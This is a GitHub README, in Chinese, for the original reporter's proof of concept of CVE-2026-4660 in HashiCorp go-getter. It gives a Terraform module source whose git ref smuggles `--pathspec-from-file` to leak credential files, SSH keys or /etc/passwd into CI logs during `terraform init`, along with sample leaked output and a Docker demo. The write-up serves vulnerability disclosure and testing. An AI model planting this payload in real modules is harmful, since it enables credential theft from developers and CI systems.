gouldnicholas/CVE-2026-4660-PoC
GitHub: gouldnicholas/CVE-2026-4660-PoC
这是一个针对 HashiCorp go-getter 库中 CVE-2026-4660 任意文件读取漏洞的概念验证工具,用于演示供应链攻击风险。
Stars: 0 | Forks: 0
# CVE-2026-4660 PoC
[hashicorp/go-getter](https://github.com/hashicorp/go-getter) 中 [CVE-2026-4660](https://www.cve.org/CVERecord?id=CVE-2026-4660) ([HashiCorp 公告](https://discuss.hashicorp.com/t/hcsec-2026-04-go-getter-may-allow-to-arbitrary-filesystem-reads-through-git-operations/77311)) 的概念验证。我是原始报告者。
攻击者发布了一个 Terraform 模块,其 `ref` 为 `--pathspec-from-file=/path/to/file`。当受害者运行 `terraform init` 时,go-getter 克隆该仓库并调用 `git checkout --pathspec-from-file=/path/to/file`。Git 逐行读取目标文件,将每一行作为 pathspec 失败,并将内容转储到其错误输出中。恶意 ref 位于攻击者的模块源内,而非受害者自己的配置中。`terraform init` 因模块下载错误而失败;凭证值会嵌入在输出的 git pathspec 错误中。无需执行 `apply`。
该漏洞存在于 go-getter 库的两个代码路径中。当目标目录不存在时采用 `clone()`;当目录存在时采用 `update()`。两者都调用相同的 `checkout()`。`clone()` 在出错时 defer `os.RemoveAll(dst)`;而 `update()` 不会,因此目录会在 checkout 失败后保留下来。
Terraform 的模块安装程序(`initwd/module_install.go:251`)总是在调用 go-getter 之前对目标调用 `os.RemoveAll`,因此 Terraform 总是触发 `clone()`。Packer、Nomad 以及任何直接对预先存在的目录调用 go-getter API 的工具将触发 `update()`。PoC 演示了这两种路径。
影响所有使用 go-getter 的工具:示例包括 Terraform、Nomad、Packer、Waypoint。
**修复版本:** go-getter v1.8.6(截至 2026-04-10,尚无 Terraform 版本包含该修复)
**严重程度:** 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
## 攻击场景
攻击者在 GitHub 上发布一个看似合法的 Terraform 模块,例如一个包含真实、可运行代码的 AWS VPC 模块。在内部深处,一个子模块源指向第二个受攻击者控制的仓库,并带有恶意 ref:
```
# 位于攻击者的 module 中;受害者从不读取此文件
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
```
受害者将顶级模块添加到其配置中:
```
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
```
他们在本地或 CI 中运行 `terraform init`。go-getter 克隆顶级模块,发现嵌套的子模块,也将其克隆,然后调用 `git checkout --pathspec-from-file=/home/runner/.aws/credentials`。Git 读取该文件,内容出现在 terraform 的错误输出中:
```
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
```
注意:`[default]` 即使在 `-no-color` 下也会被 terraform 的 colorstring 渲染器剥离(被解释为样式重置令牌),并在实际输出中显示为空的 pathspec `''`。PoC 中原始的 `git checkout` 输出显示了未篡改的内容。
该攻击不仅限于凭证文件。进程可读取的任何文件都是目标:`/etc/passwd`、CI token 文件、应用程序配置、运行程序可访问的任何内容。PoC 演示了 `~/.aws/credentials`、`~/.ssh/id_rsa` 和 `/etc/passwd`。
在 GitHub Actions、CircleCI 或任何记录 `terraform init` 输出的 CI 系统中,任何拥有仓库访问权限的人都可以读取这些日志,并且通常导出到日志聚合平台(Datadog、Splunk 等)且无过期时间。受害者的 AWS 凭证、SSH 密钥或运行程序可读取的任何其他文件最终都会出现在日志历史中。受害者看到的是构建失败;而凭证值则被掩埋在看起来像 git 错误的信息中。
## 要求
- Docker
## 运行
```
docker compose up --build
```
两个容器:`gitserver` 通过 HTTP 提供攻击者的裸 git 仓库,`poc` 作为用户 `runner` 运行,并在 `~/.aws/credentials`、`~/.ssh/id_rsa` 处拥有伪造凭证,以及可读的 `/etc/passwd`。第一阶段运行 `terraform init` 并演示 `clone()` 路径;标记检查确认模块目录在失败时被 `clone()` 的延迟 `RemoveAll` 删除。第二阶段直接执行 go-getter 的 `update()` 调用序列(fetch + checkout),以显示相同的 `checkout()` 漏洞被触发,并且目录保留下来,这与 `update()` 中缺少 `RemoveAll` defer 一致。无需任何交互。
## 受影响版本
- Terraform v1.14.8(最新稳定版,go-getter v1.8.2)
- go-getter v1.8.2 至 v1.8.5
- Git 2.45.4
标签:CISA项目, Cutter, CVE-2026-4660, DevSecOps, ECS, Git checkout, go-getter, Go语言, Go语言工具, HashiCorp, High Severity, Nomad, Packer, PoC, Terraform, Waypoint, 上游代理, 任意文件读取, 供应链攻击, 安全公告, 安全可观测性, 文件系统安全, 暴力破解, 漏洞复现, 版本控制, 程序破解, 网络安全研究, 请求拦截, 路径遍历